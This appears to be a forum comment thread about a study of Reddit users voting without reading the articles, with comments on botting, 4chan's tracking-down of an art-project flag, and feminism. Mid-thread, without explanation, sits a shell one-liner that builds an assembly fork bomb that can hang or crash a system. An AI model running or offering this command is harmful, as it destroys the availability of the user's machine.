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New Study Finds That Most Redditors Don't Actually Read the Articles They Vote On (vice.com)
Michael Byrne, writing for Motherboard: According to a paper published in IEEE Transactions on Computational Social Systems by researchers at Notre Dame University, some 73 percent of posts on Reddit are voted on by users that haven't actually clicked through to view the content being rated. This is according to a newly released dataset consisting of all Reddit activity of 309 site users for a one year period. In the process, the researchers identified signs of "cognitive fatigue" in Reddit users most likely to vote on content. Online aggregation is then somewhat a function of mental exhaustion.
Reddit upvotes are heavily botted, and I imagine the publishers of these articles are the prime suspects. Clicks mean cash.
For all intensive porpoises your a bunch of rediculous loosers
Maybe the opinions you agree with are just shit and badly expressed? Its funny how many people who like to think they are 'non-mainstream' also think that everyone mainstream is just a stupid sheep. I actually usually find the opinions of people who use phrases like 'group-think', 'mindless masses', 'sheep' and (worst of all) 'sheeple' to be boring and lacking critical thought. Perhaps they are too dumb to understand all the nuances the rest of us see (which I think is also the issue with many who dabble in conspiracy theories).
As someone observed after the "He will not divide us" episode where 4chaners found the flag in a rather clever cunning way - "4chan is smart people pretending to be dumb. Reddit is dumb people pretending to be smart".
https://www.inquisitr.com/4060...
So how did 4chan find and steal the He Will Not Divide Us flag?
It turns out, Shia made one mistake in setting up the camera on the soon-to-be-stolen flag. It was such a simple thing that normal people would never have noticed, but the 4chan trolls sprung into action when they realized the camera was aimed in part at the sky.
According to various users on 4chan, members of the board used jet contrails, flight paths, and astronomy to determine the general location of the He Will Not Divide Us flag installation. After narrowing down the location to somewhere in Tennesee, 4chan sleuths drove around the area honking their horns to see if the sound would show up on the live stream.
And as it turns out, they were successful almost immediately, as 4chan found the flag site less than a couple days after it went live. The trolls replaced the stolen flag with the hat and T-shirt mentioned earlier.
Besides the obvious issues with theft and harassment, 4chan's actions in this incident are merely a part of what has become known to many who study the impact of social media in society as the "Great Meme War."
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
>Feminism started out as the study of why women were not equal. It grew into the study of how systems negatively affect both men and women.
And in most of the cases that come to the public's attention, it's altered into a political ideology of 'men are evil, time to put them down'... which is why mentioning 'feminism' in a post is a pretty good way to ensure a polarized shouting match instead of a debate.
It's also the reason why you're going to get a negative reaction if you identify yourself as a 'male feminist'. The common conceptions of modern feminism and egalitarianism ARE incompatible and at odds. One is about women attempting to relegate men to a socially inferior status by stereotyping them all as violent misogynists, the other is about treating everyone using the same standards.
And honestly, if you believe they ARE the same... there's no need to use the word 'feminist', is there?